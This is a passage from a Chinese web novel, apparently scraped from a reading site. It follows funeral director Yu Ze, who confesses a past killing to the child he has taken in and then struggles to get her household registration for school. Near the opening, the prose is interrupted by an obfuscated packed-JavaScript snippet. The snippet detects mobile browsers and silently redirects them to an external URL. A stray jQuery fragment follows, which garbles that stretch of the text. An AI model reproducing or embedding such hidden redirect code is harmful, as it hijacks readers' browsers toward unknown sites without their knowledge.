砸碎了茶几。 酒水登时四溅。 “你他妈可以试试!” …… …… … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191420|150745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 后面的记忆,谢珞珞是十分模糊的。 因为她被余泽死死护在怀里,后来胖子他们也来了,胖子干饭可以打架稀巴烂。余泽见胖子他们到了,一下子就把珞珞丢给了他们照顾。胖子捂着珞珞的脑袋,让她不要看不要看。 大火纷飞着,尖叫声连绵着,雨哗啦哗啦下,一块块玻璃碎片充斥在了漆黑的深夜中。 范开然跪倒在地上,最终还是忍不住给余泽竖起来个大拇指。干架输了,但看到余水丧葬的全体成员都来了,人得敬畏送行人,将来他走了还得他们帮忙照应着。 “水哥……牛逼……!” 西街帮派,最后一个混混倒塌了下去。 余泽坐在夜店门口的台阶上,点燃了一支烟,吸在嘴角。 夜店是范开然开的,基本上被砸平了。他想着这事儿该怎么摆平,范开然虽然大多数时候混,但是少数时候还是会遵循江湖义气,愿赌服输。 隋空抱着珞珞,看着那身后一片血淋淋狼藉满面的夜店,大气不敢喘一口。 临城一哥水哥的名声, 是真的不是乱叫的。 谢珞珞从隋空怀里挣扎跳下身,胖子一个没揽住,就看到那小丫头朝着余泽跑了过去。 雨在瓢泼地下着。 余泽听到踩水的脚步声。 抬起头来,目光与谢珞珞的眸子,对视上了。 那是一双极其大大眼睛,澄澈里,忽闪着掩盖不住的惧怕。 余泽忽然就想起来下午她招呼都没打,就跑走了。也是啊,白天看到了那样的场面,听到了那样的话。五岁的小孩子早就懂事了,谁又愿意跟着一个杀人犯,打架不要命的暴徒,生活在一个屋檐下呢? 跑了也是应该的。 谢珞珞迈着小小的步伐,小心翼翼往前走了走。 余泽笑了起来。 笑得是那么的轻声,那么的缓慢,里面还掺杂着残忍,与对自己破罐子破摔的堕落。 “怕了?” 他往后一指。 身后,快要成了“横尸遍野”。 谢珞珞抓了抓裙摆,因为惊吓,呼吸都变得有些急促。胖子瞬间觉得要坏事儿,余泽每次做出这种在地狱躺平了的表情,都会说出一些令大人都无法接受的绝望之言。 然而还没等胖子上前来把珞珞抱走,就听到余泽抬起头来。 合着那疯狂坠落的雨声。 一字一句,嗓音里染上浓重的悲哀, “我不是什么好人。” “……” “余泽!!!”胖子呵斥出声,“当着小孩子面你瞎说什么——” 余泽抬了抬手。 烟支燃烧在他的指尖,还能看到打架时烙下的青紫伤痕。那是为了保护珞珞一不小心被范开然用刀子顶的,余泽全程都置身于险境,但却没让小丫头受到分毫伤害。 余泽笑着,看着谢珞珞, “十五岁那年,我杀了我妈的情夫。” “我妈很早就出轨了,在我五岁那年,就给我在外面生了个弟弟。我父亲没什么本事,在火葬场工作,他们的结婚是家里硬给安排上的。” “我爹窝囊了一辈子,因为这顶绿帽子,一辈子在街坊邻里间抬不起头。我从小就是死人的儿子,绿帽子的崽子。都不知道,是不是我妈又在哪儿种下的野种。” “后来日子稍微好了些,我爸他又突然得了胃癌,这个病是个烧钱的病,还有可能治不好。我们家卖了房又卖了车,四处借钱,我爸工作都给辞了,铁饭碗工作。人每天都躺在医院,一堆冰冷的机器在点燃着一张张的毛票。” “然而就在我上高中那年,刚上了高中不到两个月。” “我妈那个情夫忽然官途出了点儿问题,贪了一大笔子的钱。我妈借不到钱,于是就把我爸准备做手术的三十万块钱,卷卷跑了。” “那笔钱在五年前是真的不是个小数字,那可是我和我爸辛辛苦苦求来的!我爸当场就傻了,没想到我妈会这么干。我更是血气方刚,上学回家,才进门,就听到我妈对着我爸拳打脚踢。” “我当时就火了,骑上车子,直接去找了那个大贪官。” “没错,就是焦鹏的父亲,焦厚非。” “焦厚非当时势力可大了,但那一次也是真的危机。我妈偷去的三十万刚好救了他一命,可那是我爸的救命钱!我二话不说就跟他打了起来,差点儿惊动保安。” “后来。” “我爸过来找我。” “救命钱可以再借,但儿子的学业不能因为一个打架而被荒废。” 余泽抽了口烟,往外吐着白雾, “你知道么,就是那次打架,我爸来找我,来接我回家。” “也是这么一个雨天,他揣着那化疗了很久很久的胃。” “一身病痛。” “就这么,就这么——” 余泽双手一抬,指尖对着,比了个冲击的手势。 “被一辆没看路的大货车。” “给撞死了。” 吱—— 砰! 阴冷的雨夜,血雨腥飞的天,支离破碎了时间,那搭在手里的外套。 余泽闭了闭眼,仿佛瞬间就回到了那个画面里。 胖子一把捂住了嘴,身后的几个小弟也都仰着头。 这段往事,临城又有哪个人不知道? 良久,余泽却突然抬起头来,重新睁开眼。 重新笑着,说出来的话是那么轻描淡写。 “我没有追责那个大货车司机,他也是上有老下有小,日子清苦。” “我拿着五金店淘来的三瓣刀,直接冲去了焦厚非的办公室。” “一刀——捅死了他。” “那个时候,医生告诉我,我爸这个病,查出来的是早期。” “最容易活下来,活下来几率最大的一个时候。” “我爸他,为了来找我……” “为了,来找我……” 余泽的声音淡了下去。 只剩下了雨声。 大雨哗哗下着。 他仰起了头。 让雨水就这么冲刷着他的脸庞。 很久很久。 血腥味弥漫着空气。 余泽轻轻笑了一声。 嘴角却往下弯。 是那么的难过。 “珞珞,你下午跑走,是对的。” “我这种人,不值得你跟着。” “我是个杀人犯。” “手上沾满了鲜血。” “你跑开,是明智的选择。” “你还那么小,你不要再跟着我了,去福利院也好找个好人家也好,哪儿都好。就是不能跟着我这种垃圾,过一辈子……” 隋空他们都撇过去了头。 余泽这话,说的太明白了。 把那痛苦又血淋淋的往事,剖开了,让小姑娘看到了最黑暗的一面。 是啊,一个花季的女孩。 那么甜,那么明媚,笑一笑,似乎天空都烂漫了许多。 又怎么可以,苟且在这种堕落的地方。 跟着那么一个,堕落的杀人犯。 谢珞珞抓着裙摆。 终于,大大的眼睛里,蓄起了眼泪。 “哥哥……” 谢珞珞颤颤巍巍,从裙子的口袋里。 掏出一个白色的瓶子。 “你是因为,珞珞跑了,在生气吗?” “……” 余泽一愣。 谢珞珞小心翼翼,将那个被护的好好的白色药瓶。 伸到了余泽面前。 “哥哥。” 她的眼泪,一滴一滴冒出,像是要被抛弃了般,委屈地抽噎了起来。 “哥哥,你不要不要我。” “珞珞不该跑,珞珞看你睡着了,你在肚子疼,珞珞想给你买药吃。” “珞珞找不到笔,忘记了给哥哥写纸条。珞珞不知道这儿好多好多坏人,珞珞以后再也不会了。” “哥哥你不要不要我。” 小姑娘当场就哇啦哇啦大哭着,雨哗啦哗啦淋着她的脑袋,她抓着药瓶子,两根纤细的胳膊交叉叠在脸前,拼了命地擦着眼泪。 一声一声喊着,不要不要我。 不要丢掉我。 那个药瓶,余泽认识。 太认识了,因为每天都在吃,是奥美拉唑,下午的时候就因为这药没了,他疼了一个下午。 所以说,谢珞珞下午跑出去。 不是在害怕他。 她是去给他,买了药。 因为家里的药,被他母亲给扔了。 她全看在了眼里。 仿佛有什么东西在吹着,稻花飘啊飘。撕碎了的人生,彻底堕落了的希望。就像是被压在无尽的黑暗里,忽然有一束光,撕开了那深渊的笼罩。 指尖的烟火终于烧灭。 小姑娘已经不号啕大哭了。 但还是委屈巴巴。 抹着眼泪。 手里的药瓶子,在雨中,发出卡啦卡啦的声音。 余泽忽然从石头阶梯上站起身,雨已经没那么大了,淅淅沥沥下着。余泽蹲下身来,将自己的白衬衣,罩在了谢珞珞的额头上。 然后猛地一弯腰,将小姑娘扛在胳膊弯。 前方是看不清路的黑。 “回家。” 5. 第 5 章 谢珞珞的五岁和六岁,度过了人生中最快乐的两年。 她每天都很开心,福利院也不来领人了。余泽白天干活,就把谢珞珞送到镇子上的幼儿园去。锦水镇的幼儿园对户口没那么严,余泽多给了些钱,老师乐呵呵把谢珞珞给收了下来。 六岁那年的盛夏。 夏天幼儿园也都放假了,但是一到了七八月份,丧葬的生意就特别好。余泽每天都忙得团团转,胖子成安他们也都跟着转。干丧葬这一行,自然不能把小孩子也给带过去。 余泽对面有家开棉线店的邻居,邻居人还不错,也不太介意余泽过去的那些事情,他家刚好有个上一年级的小孩。都是放暑假,余泽便把谢珞珞送到棉线店里,拜托他们家帮忙看着。 每天余泽收工回家,都会给谢珞珞带点儿好吃的好玩的,连带着棉线店家里的小朋友也都有一份。余泽也买不了多么好的东西,什么上弦青蛙啊竹编小花篮。他会把手洗得干干净净,才从衣服里把那些小玩意儿递给珞珞。 要是有时候余泽回来晚了,棉线店就会留谢珞珞在他家吃口饭。 吃完饭,谢珞珞就蹲在棉线店的大门口,红色的灯笼往下照着,映衬着她小小的身子。 快到中元节那几天,余泽收工很早。 他从城里买了些可以叠千纸鹤的糖,提着往回走。 “王嫂。”余泽敲开了棉线店的门。 里面的老板娘正在纺棉花,余泽洗了一下手,将捎着的酒放在了店里空闲处。 老板娘知道他又给他们家捎了些礼,连忙说不要不要。余泽没理会,转了一下头,问, “珞珞呢?” 老板娘:“后院。” “跟凯凯在院子里玩呢。” 余泽提着糖,走了过去。 棉线店里院有一棵很高大的老槐树。正值盛夏,老槐树嘟噜嘟噜冒着翠绿的叶片。 一滩阴凉倒影在黄色平地上。 快开学了,棉线店家的儿子正趴在凳子上狂补作业。谢珞珞一个人蹲在老槐树下,手里捏着墨绿色的旋转小青蛙,拧两下轴,青蛙就在地上呱呱呱乱跳。 小青蛙跳了两圈就不跳了。 谢珞珞用手托着下巴,望着对面小哥哥铺在面前的课本。 出神。 这一幕被站在门口的余泽给看到了。 绿荫森森。 风吹拂着女孩子额头上纤细的发丝。 她是那么的羡慕着可以读书的小孩。 余泽在门口站了挺久的。 心里像是被打翻了五味瓶。 复杂,又很难受。 晚上回家,余泽买了颗西瓜。 他把西瓜切成两半,一半冰在院子里的井里,另一半放在盘子上,端给珞珞吃。 家里去年买了台小彩电,就搁置在二楼的茶几前。谢珞珞每天从幼儿园回来都要守着电视机,看动画片。 电视机里,小鲤鱼正在游啊游,去哪儿找妈妈。 面前两台风扇在呼呼地吹着风,八月份的夏天,晚上也都是热的。谢珞珞一边抱着西瓜啃,一边吹着风扇,风吹动着她额前的发丝,露出光洁的额头。 余泽躺在旁边的床上,手里面翻着书。他家里其实有不少书,从前读书时攒下来的,后来出狱后又买的。他虽然没再继续读书了,但还是愿意时不时看一看一些各种内容的书本。 窗户外面,晚风吹动着天上的星星。 余泽翻了几下手里的编程教材,手指一顿,又抬头看了看对面的珞珞。 “……” 下午谢珞珞蹲在老槐树下,眼巴巴看着隔壁小哥哥写作业读书的画面,一晚上都在他脑海中挥之不去。 珞珞快七岁了。 余泽把卫生间对面的空地儿给收拾了出来,支了一张床,他就在那儿睡。晚上谢珞珞看完电视,爬上床就要睡觉。睡觉前还要看一会儿童话书。余泽没有讲童话故事的本事,就拿着一把扇子,给她扇啊扇啊扇风。 “珞珞。”余泽摸了摸她的头发,忽然问道。 谢珞珞已经躺下了,大大的眼睛在深夜中是那么的澄澈。 余泽:“想读书么?” 谢珞珞一下子精神起来,就连已经犯困了的眼睛中,瞬间都有了光。 “想啊!” “珞珞也想背上书包,去学校坐在教室里读书呢!” “……” 若是没有两年前那场变故。 谢珞珞现在,或许也像很多富贵人家的小孩。 穿着圆顶小皮鞋,背着粉嫩嫩的书包。 被私家司机接送着,送到临城最好的小学里,坐在那明亮的教室中。 捧着课本,朗朗读书。 “哥哥……”谢珞珞将毛巾被往下巴上拉了拉,只露出一双大大的眼睛。 “我是不是,没办法念小学呀……” 余泽手指一顿。 “……” 他忽然不知道,该怎么开口了。 谢珞珞的眼睛里,还写着期盼。 余泽的心疼了一下,伸出手,摸了摸她的脑袋。 替她把被子给盖好。 “睡吧。” “哥哥明天给你买童话书。” …… 余泽等谢珞珞睡着了,才开始收拾茶几那块儿。 谢珞珞的玩具整整齐齐码在沙发上。 她是个很乖巧的小姑娘。 余泽端着西瓜盘子,西瓜很大一个。屋子里漆黑,他摸索着下了楼,准备把西瓜放到厨房里。 走到楼梯口,下面店里的夜灯照过来那一瞬间。 他忽然就看到了,西瓜的影子。 圆圆的半个西瓜,谢珞珞吃了大半个儿。 然而却是只吃了外面那一圈的部分。 西瓜最中间最沙的那块瓤,还直愣愣坐在那里。 勺子躺在外面挖空了那边。 余泽忽然就有些控制不住情绪了。 ——【最甜的那块,给哥哥吃!】 很久很久,余泽摸出烟。 静静点燃了一支。 …… * 火葬场。 八月的天气,越来越炎热。 地面像是要被烤化了,沥青都倒影出上面都白云蓝天。 火葬场依旧肃穆,余泽站在门口的大厅,等着他们送过去的那具身体排队被火化出来。 隋胖子明显有心事地蹲在旁边的玻璃窗前,时不时看着手机。 前几天隋空的堂姐跳楼了,家里一团乱。 余泽望了会儿火化间紧闭的银色大门,口袋里的手机忽然吱吱振动了两三声。 “我出去接个电话。”他拿着手机,跟胖子他们晃了一下。 胖子点点头。 余泽找了个阴凉地儿,接通了电话。一出来热气就满面扑,电话那端声音嘈嘈杂杂,断断续续有女人在说道, “水哥,真不行。真的办不了。” “上小学一定要有户口。” “户口,本地户口!” 余泽往旁边望了一眼,看到胖子抬起头来,跟他对视上。 两个人都是额头三道皱。 余泽:“下面化禄村那几个小学呢?” “那些小学也都要?” 电话那一端:“要,必须得要!” “现在规模多么大的小学,都在省里备着档呢!都得要,只要是上小学,户口一个都逃不掉!” 余泽没辙了。 “行。” “谢谢苏姐。” “不谢不谢哈!” “……” 挂了电话,余泽看了一圈外面的太阳。 又低下头去,找了找手机里的号码。 拨了过去。 占线。 他感觉到自己快要烤化了。 可又不想就这么进屋。 隋空刚放下手机,就看到对面站在树荫下的水哥捻着烟抽。他心情很烦闷,抓了把光溜溜的脑袋也跟着走了过去。 胖子不太擅长撒谎,有什么心事全都写在脸上。余泽抽了会儿烟,就看到隋空犹豫着往他这边靠。 鬼鬼祟祟,眼神躲闪,像是欠了债要让他给还。 “什么事。”余泽望了望天,吐出一口圈。 隋空:“嘿嘿……” “哥,心烦着呢?” 余泽低头,咬着烟,眯了眯眼。 “你先说你的事儿。” 隋空不好意思地摸了摸后脑勺。 余泽:“别摸,” “本来头发就少。” 隋空:“诶诶!” “……” “哥!” 余泽:“嗯。” 隋空:“那个……” 隋空:“这不是,我堂姐,前几天去世了了嘛……” “就,考上编制那个,二大爷家的堂姐!隋欣欣!” 不用他介绍,余泽对胖子那二堂姐是有点儿印象。 隋空家在的村子,一年到头出不来几个大学生。隋空的堂姐出息,不仅考上了大学,还考上了北京的免费师范生。大学一毕业就进了临城最好的高中教书,在整个隋家村都是光宗耀祖的存在! 隋胖子撇了撇嘴, “谁知道那城里的老太婆家里居然有皇位要继承!他两口子不都在体制内嘛!要是要二胎肯定的被双双开除!丢饭碗的事情谁敢?谁敢!” “欣欣姐也是命苦,第一胎就生了个闺女。闺女多么好?我将来都想要个闺女,像珞珞那么听话那种!多么好!多么好!” 余泽:“说人话!” 隋空:“诶!” 隋空:“她婆婆就是脑子有问题,闺女一生出来,就赶紧儿偷偷给抱走了,说是给丢掉了哪儿的河里。计划生育上是写着,一胎夭折,可以生二胎,可是不能这么人为啊!” “我堂姐也不傻,她婆婆骗她孩子是个死胎,她不信!好歹也是出去读过书见过世面的,当即就怀疑是婆婆给抱走的,他家就是重男轻女!她丈夫也是个窝囊,妈逼九年义务教育白学了!堂姐当场就去查了医院监控和路口的录像带,一下子就看到了她婆抱着小姑娘往十里井方向跑。” “哎呦喂,她去的时候,那姑娘好像还有口气,蹬着腿。我堂姐一下子就崩了,眼睁睁看着小丫头在她怀里断了气。” “回来她婆还给她熬了参汤,让她补补。” “‘欣儿哎——好好吃点儿,咱回头再接再厉,再生一个大胖孙子!’”隋空捏着嗓子,学那二堂姐的婆婆声调。 余泽叹了口气。 国家这些年搞计划生育,大S省响彻国家号召,家家户户都要生独胎。 然而就是在查着这么严的情况下,还是有人要钻漏子。 还是高知家庭。 余泽:“那你二姐……” 隋空:“当场摔了那碗参汤,让她婆滚。” “她老公,两个人晚上就在医院的病房里大吵。” “窝囊废男人!” “……” 隋空:“第二天一早,就在医院的草丛里。” “找到了我堂姐的尸体。” “我堂姐的病房在市医院妇产科的八楼,跳下来,唉怎么说呢,直接没法儿看了。” “死的时候,”隋空叹着气,比划了一下, “手里还抱着一节小孩子的衣服。” “就这么,搂着。” “……” 余泽:“那你二大爷家……没——” 隋空:“打,肯定得打!” “好家伙,我二大爷年轻的时候就一个人闯东北过,手上的力量使不完啊!二堂姐是他家独苗,宝贝得很,供了那么多年供出来个女大学生!就这么一下子魂销玉陨,怎么可能罢休!打,当天上午就铲了亲家的大门!” “还去打了官司,告法院。纠缠纷纷这不也都好几天了,根本没个头……” 余泽:“那你二堂姐……”

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一个定制骨灰盒,余泽连个本都赚不回来。 按他的话来说,谁将来没个走了的那天?好好走,好好给办事情,上路走好,活着的人才能安心。 “水哥……” “……啊?” 余泽回过神,就看到隋空快要哭了的脸。 艹,这里还一个! 余泽抓了一把头发,把汗衫往后撩了撩。他们送的那个身体终于火化完,工作人员抱着铺了黄布的骨灰盒,往余泽这边走。 办丧事的那一家,黑发人捧着老父亲的骨灰盒,哭得肝肠寸断。 余泽拍了把胖子的脑袋,在那没什么头发的脑门上揉了几把, “别愁着了。” “哥给你办。” “……” “真的???”隋空瞬间跳了起来。 然而这是火葬场,不敢造次。隋空按压着激动的心,跟着余泽就往外面停车场走。 出了火葬场大门,就开始一蹦一跳着。 “真的?哥?真的……给欣欣姐办了???” 余泽:“嗯。” “不收你钱。” 胖子:“我擦哥,我好爱你——我爱你我爱你!!!” “……” 上了面包车,办丧那一家自己开着私家车往前面走,余泽他们跟在后面,还要回去准备一些事。 胖子太开心了,坐在副驾驶上就给他老爹发短信。 他老爹打过来电话,嗓门很大,直接响彻在了整个车厢, “晚上把小余叫过来吃饭——” “太感谢他了!太感谢了!小余真的是俺家大救命恩人啊!救命恩人!” 隋空:“爹,咱这都是多少回麻烦人家水哥了,之前卿卿姐那事儿……” 隋爹:“你别忘了晚上回来把卿卿的药给从医院里捎回来——你姨说卿卿的药没了!” 隋空:“诶!” “……” 余泽打着方向盘,稍微开了点儿空调,关上窗。 “你家那个得心脏病的表姐,叫林卿来着?这几年……还好?” 余泽就是随口一问,不然路上也没事儿。刚听到“卿卿”两个字,他下意识就想起了当年随手救的那个病秧子姑娘。 隋空挂了电话,嘴角的笑瞬间就落了下去。 人固有生老病死。 但有些时候这些事儿,怎么就是太他妈都压在了他们家身上。 隋空胳膊撑在窗户上, 望着对面的柏油马路。 沥青晒到反光。 “……” “不太行。” “那年她失足掉河里去,一下子又患上了肺病。” “先天心脏病加上肺不好,这几年撑着也是用药吊着。” 余泽:“她是你……你母亲那边表着的?” 隋空:“嗯,表姐,我姨的闺女。” “比我大一岁,虚着二十四了。唉。” “听我姨说,也就是这一两年的事情了……治不好,嫁不出去,这几年基本上下不了床,吃喝拉撒都在床上伺候着。家里也就那么一个啊。” 余泽:“……” “其实有时候,人病死的吧,还有个慢慢告别的过程,还能有个心理准备。” 隋空笑了笑, “到时候,估计还得拜托水哥你,来送一程。” 余泽:“行。” 隋空沉默了一会儿,忽然眨了眨眼,然后扭过头来,开口问余泽道, “对了哥,你刚刚不是说你还有什么心事儿吗?” “啥事儿啊。” 余泽:“……” “珞珞上学那事儿。” 隋空:“哦对!珞珞快七岁了。” “咋?还是没学校收?” 余泽:“没。” “一定得要户口。” 隋空:“那珞珞的户口,你得给她办啊!小姑娘大了,后面铁定大堆事儿都得要户口!” 余泽沉默了片刻,他拿着烟盒敲出根烟,咬在了嘴角。 半晌,手打过方向盘一个圈。 吸了口烟,稍微开了点儿窗户,把烟扑出去。 说道, “派出所说了,办户口,要够格。” “咋够格?” 余泽:“要么,我去重新给她找户人家,让珞珞给人家做养女,必须是夫妻二人,合法的,走正规程序收养。或者找个比她大四十岁的单身大妈大叔,也可以收养她。” 隋空:“那哪儿成?珞珞那么粘着你,肯定不可能跟人家走啊!” 余泽:“要么,” “……” “我结婚。” 6. 第 6 章 隋空愣住了。 半晌,他眨了下眼睛,忽然就笑了起来。 几乎是同一时间,余泽也跟着笑了,低沉的声音从胸腔里闷闷的传出,一缕缕烟雾随着笑在冷风下一摇一摆。 让余泽找女人。 这他妈比隋空减肥都天方夜谭! 余老板不好女色这事儿,人尽皆知。倒不是说他喜欢男的。他就那样儿,五岁的时候亲眼目睹了他妈出轨,跟焦厚非滚/床单的刺激永远也无法抹去。 他对女人有着天生的逃避,别说结婚了,活了二十一年,连个女朋友都没找过。 隋空当然觉得余泽在开玩笑,余泽也没再继续说。车继续往前开,过了好一会儿,隋胖子突然顿了下嗓子,声音稍微摆正。 “哥。” “嗯?” 隋空:“我说句老实话,你别打我。” 余泽:“我不打。” 隋空眯了眯眼, “这事儿吧,其实……” “你要是肯找你妈帮你办,你妈那个教育局当官的情夫虽然没了,可到底树大根深,咱整个临城小孩读书的事儿,不都是最终要教育局那边过目……就你妈一句话的问题,一句话。” 余泽没打他。 车随着前面人家的私家车,开进了院子里。 隋空咽了咽唾沫,悄悄瞅了一眼余泽。 余泽下了车,帮着办丧事的人家开始弄流程。隋空到底还是以为他生气了,灰溜溜跟在身后。 一行人抬着牌位,在院子里扎上路用的稻草小马。 “……哥?”胖子戳了戳余泽。 余泽抖开逝者要用来烧的衣服,披在那扎好的小马马背上。 胖子:“哥,那个,我刚刚就是随口一说,对不起啊……” 余泽咬了咬嘴角的烟蒂, “闭嘴。” “……” …… * 办丧的人家给完钱,余泽把钱数了数,发给在坐的弟兄们。 时间还早,大家提前收工。余泽开着车去了趟政务局,隋空跟着,上午说好了给表姐拿去拿药。 “哟呵,这红彤彤的大皮本子!”隋空看到余泽从政务局出来,提了个牛皮纸袋,里面装着刚下来的房产证,瞬间眼馋。 余泽也没介意他翻,很普通的一个房产证,他把自家二层小楼隔壁的那两层也给盘了下来。 隋空:“这真准备娶媳妇儿啊!” 余泽摸了根烟,咬在嘴唇边, “珞珞大了,之前那二楼太小。” “我想把下面两间打通,然后二楼做两个房间。” “她一个女孩子,早晚得长大,还能一直跟我睡一个房间?” 两个人没再提及珞珞办户口的事情,隋空要去的医院刚好顺路,车子歪歪扭扭开到了一个巷子里,一个什么都没有的医院矗立在巷子右手边的旮旯之间。 胖子跳下车,就进了医院的大门,余泽仔细看了看手里的房产证,计划着怎么去装两套房子。 隋空很快回来了,手里提着一大袋子药,用牛皮纸包成十好几个小方块。余泽见他上车,哎呦哎呦喊着累死了。 “这药怎么也没个标识?”余泽随口一问。 胖子数着那包数,又低头看了眼药方子,把药往腿下一搁, “又不是正规医院。” “偏方。” 余泽抬头看了眼隋空。 旁边窗户外的医院外墙上,什么都没有,典型三无医院。 “……” “那,三无医院开的药也敢吃?” 隋空:“唉,我姨那人,你又不是不知道。” “迷信,不信中医也不信西医,就信这些三无小医院。” “大夫说得吃特制药,正常的药吃了好不了。” “呐,你看这不都吃了这么些年了。药方就这个,褶子都碎了。” 药方不大,确实已经有些年岁。 余泽瞥了下上面写着的几味药材。 没再说什么,让隋空系好安全带,就往隋家村走。 隋空那个病秧子表姐家和隋空家就住在对门,余泽车刚开进隋空家旁边的水泥路上,隋空的爹和他姨就已经从门口走了出来。 “叔!”余泽跟他父亲打了个招呼。 之前余泽救过隋空的病秧子表姐,这份恩情隋家一直都记着。 这一次余泽又免费给他堂姐办葬礼,隋父见了余泽,说什么都要让余泽下来坐坐。 时间还早,余泽招架不住,就跟着下去了。 余泽不留这儿吃饭,隋父就拿出来上好的茶叶招待。隋空去隔壁表姐家里送药,隋家夫妻俩就搁客厅里跟余泽谈论着这丧葬怎么办。 “成,叔看好了哪样子的骨灰盒、墓碑样式啊,什么时辰出殡,到时候列下来交给我,我们绝对给办的妥妥当当。”余泽喝了口茶,点头道。 隋三叔笑得脸上褶子都皱了起来。 余泽转了下茶杯,静静喝着茶,茶叶确实很好。隋空家里是开小卖部的,店面跟居住在一层,余泽在他家喝着茶,有进进出出来买东西的小姑娘都往他这边看。 白衬衫,里面套着黑色T恤,卡其工装裤包裹着又长又挺拔的双腿,脚下踩着一双系带靴子,头发往前松松垮垮散着,看起来确实是玉树临风的。 早些年还没进去前,余泽一直都是那么个闪闪发光的天之骄子存在。 太阳落了西边,茶也喝的差不多了,隋空送完药回来,余泽便站起身,抬手要告别。 “真不留下来吃个饭,小余——”隋空他妈喊道。 余泽抱歉了一下, “珞珞还在家里,得回去陪她吃饭。” 余泽收养了一个不大的小姑娘,这事儿方圆十几里都知道。 隋母也不再挽留,提着一袋子刚摘的桃子,塞给余泽, “拿着。” “给孩子吃!” “……” 隋空忽然喊住了余泽,余泽停下脚步。隋空往屋后一戳,喊了声“姐,别藏着了——” 夕阳将余泽的轮廓勾勒得英俊不像话。 汗水在发丝间往下垂落。 一个羞红了脸的女孩, 从门后面小心地蹭了出来。 晚霞也将她苍白病态的脸,染上一抹红晕。 “你,你好……” “余、余泽……” “……” 余泽顿了一下。 尔后,淡淡一笑, “你是,林卿姐吧?” “我记得你。” …… ...... …… * 办户口这事儿是真的难。 余泽开始装修房子,珞珞也开始了幼儿园的最后一年。 明年这个时候,她就该上小学一年级了。 余泽白天跑丧葬,晚上去装修市场,每天都特别忙。谢珞珞学会了洗衣服,简单的煮泡面也会了,但是余泽不让她吃这些东西,说不营养不健康。 来年春天。 谢珞珞终于有了一间自己的卧室,余泽给她弄了个书桌。谢珞珞搬进去的第一天,就把自己的那个小红书包放在桌子上,上面摊着书本,板板正正坐着。 “珞珞以后要在这里写作业!”谢珞珞开心地说道。 余泽难受,她仍旧那么羡慕可以上小学的孩子。 只可惜到了谢珞珞幼儿园结束,户口的事情还是没办下来。眼瞅着小学就要开始招生了,别的家里的小孩都被父母牵着手去学校报名。 余泽尝试过去联系谢家的人。 然而谢家人就跟避瘟神似的,开口闭口都是“不认识什么谢珞珞”“不帮不帮,我们又没那么大的能力!” 余泽开始每天晚上都晚归,隋空经常大半夜十点钟接到电话。 一看就是市里当官人的电话,打过来,让他过去接人。 隋空开着一辆斗篷车,去高档的酒店下面,停在马路边。 城里人就是不一样,就连吃个饭的地方都是那么大富丽堂皇,外面还有戴着高高帽子的门卫守着。一堆穿着西装当官人从酒店的旋转门走出,气度比大肚腩还大。 余泽跟在后面,那最旁边的男人低头说了句什么。余泽喝的都有些站不稳脚跟了,但还是微微俯身,倾听他的话语。 不断点着头。 待到那些当官的大领导都走了,余泽终于直了直身子,晚风吹着他向后梳的头发,一身西服贴着身子,大热天白衬衣打领带西装裤,热的他往后抹了把汗。 “水哥——” 余泽扯掉领带,推开斗篷车的副驾驶门,皮鞋蹬着门槛上了车。 车开了一会儿,遇见红绿灯,隋空摇下车窗,从后视镜里看了眼旁边的余泽,忍不住问道, “这次成了?” 余泽喝得难受,西装都脱了,扔在腿上,一只胳膊架在落下来的车窗旁,头往旁边一歪,往车窗外吐着酒气。 微闭双眼。 “……” “王八羔子。” “一句话的事。” “非扯什么,上面将来万一查,他们不好交差!” 隋空:“那就是……没成?” 余泽没再说话。 眼睑底下,晕着一圈青黑。 开出市里的时候,他稍微睁开了一下眼,望着窗外越来越暗的夜色,半晌,沙哑地道, “我睡会儿,到了叫我。” “你上去看看珞珞睡没睡,睡了我就不换衣服了。没睡我换个衣服再上去。” …… 谢珞珞读小学一年级前,识字量就惊人,知识储备也相当多,脑袋灵光到拿个初中数学题都能算。 余泽读书那会儿成绩就逆天,谢珞珞有时候会扒拉着余泽满天柜子里的书,问余泽一些新奇古怪的问题。 日子一天一天往前过。 又是一年盛夏。 焦鹏彻底不来找了,秦婉也不来了。有一天傍晚,余泽正在给珞珞煮面条,晚霞很美,谢珞珞蹲在小板凳上捏橡皮泥,余泽晚上没事儿,待在家里等会儿两个人一起看动画片。 余泽用长筷子抄着面条,细细的龙须面。吃面条对胃病好,他们家就经常吃。 忽然一个电话,打破了这份难得的宁静。 余泽把谢珞珞的面条放到桌子上,摆好筷子,摸了摸珞珞的脑袋,捞起手机接听电话。 刚准备盛自己的那碗时,电话里忽然说了起来。 谢珞珞捧着碗。 就看到刚刚还很平静的哥哥,眉头又拧紧了一下。 “珞珞,吃完饭,哥哥送你去王婶他们家。”余泽把火关上,自己那碗却没盛。 他走到衣柜前,把才收进去的西装领带都给找了出来。 余泽穿西服很好看,衬得他玉树临风。 可每一次余泽穿上这么板板正正一身, 谢珞珞就知道,他又要很晚很晚才回来。 回来的时候,会趴到洗手间里,吐着晚饭。 “哥哥……” 谢珞珞跑了过去,一把抱住了余泽的腰。 余泽还是走了,把珞珞送到了隔壁。隔壁棉线店的王婶满口答应着会好好照顾珞珞。 “小余,”王婶看着他穿成那样,就知道他又是去找人给珞珞办户口那事儿, “要实在不行?我表姐那边还有个闺女,你跟她结婚?” 王婶:“不就是个户口!你这样要什么女孩子没有?非得走那个不好的路?市里那几个好的小学听说今年都特别难进……” 余泽拽了下西服的领子,合着夜色,看着谢珞珞跑到邻居小哥哥书桌前,捧着书,跟小哥哥打闹。 他不动声色,淡淡地说道, “谢谢王姨。” “可能今天,就能成了吧……” “……” …… * 隋空接到医院里打来的电话时,正在给林卿表姐煎药。 林卿家很迷信,说女病秧子就是阴气太重,药也得让阳刚之人来经手,才能起作用、好得快。 医院的电话一响,隋空放下药,擦了擦手,就接了起来。 “喂——你好?啊对对对!我是……” “……” “胃出血???” …… 隋空家里实在是没东西开了,只能开着他爹那辆小三轮。 三轮车车速不过二十,一路上隋空整个人都快要急疯。 